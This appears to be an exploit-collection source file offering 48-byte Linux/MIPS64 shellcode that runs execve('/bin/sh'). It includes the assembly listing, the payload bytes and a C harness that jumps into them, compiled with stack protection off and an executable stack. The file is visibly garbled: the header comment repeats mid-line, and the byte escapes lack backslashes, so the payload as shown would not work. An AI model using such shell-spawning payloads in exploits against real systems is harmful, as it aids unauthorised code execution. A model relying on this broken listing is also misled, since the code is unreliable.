/* Title: Linux/MIPS64 - execve(/bin/sh) Shellcode (48 bytes)
* Date: 2018-08-10
* Author: Antonio
*
* [*] execve(/bin/sh) shellcode for MIPS64 /* Title: Linux/MIPS64 - execve(/bin/sh) Shellcode (48 bytes)
* Date: 2018-08-10
* Author: Antonio
*
* [*] execve(/bin/sh) shellcode for MIPS64
* [*] tested on MIPS Malta - Linux debian-mips64el 4.9.0-3-5kc-malta
* [*] 48 bytes
*
* gcc -fno-stack-protector -z execstack main.c -o main -g
*
* adp, SLAE - 1326, 2018.
*/

#include <stdio.h>
#include <string.h>

/*
.text
.global __start
__start:
dli $t0,0x69622f2f
sw $t0,-12($sp)
dli $t1,0x68732f6e
sw $t1,-8($sp)
sw $zero,-4($sp)
daddiu $a0,$sp,-12
slti $a1,$zero,-1
slti $a2,$zero,-1
dli $v0, 5057
syscall 0x40404
.align 8
*/

unsigned char shellcode[] =
"x62x69x0cx3c"
"x2fx2fx8cx35"
"xf4xffxacxaf"
"x73x68x0dx3c"
"x6ex2fxadx35"
"xf8xffxadxaf"
"xfcxffxa0xaf"
"xf4xffxa4x67"
"xffxffx05x28"
"xffxffx06x28"
"xc1x13x02x24"
"x0cx01x01x01";

int main(int argc, char ** argv)
{
void (*s) (void);

printf("Shellshellcode Length: %d ", strlen(shellcode));

s = shellcode;
s();
}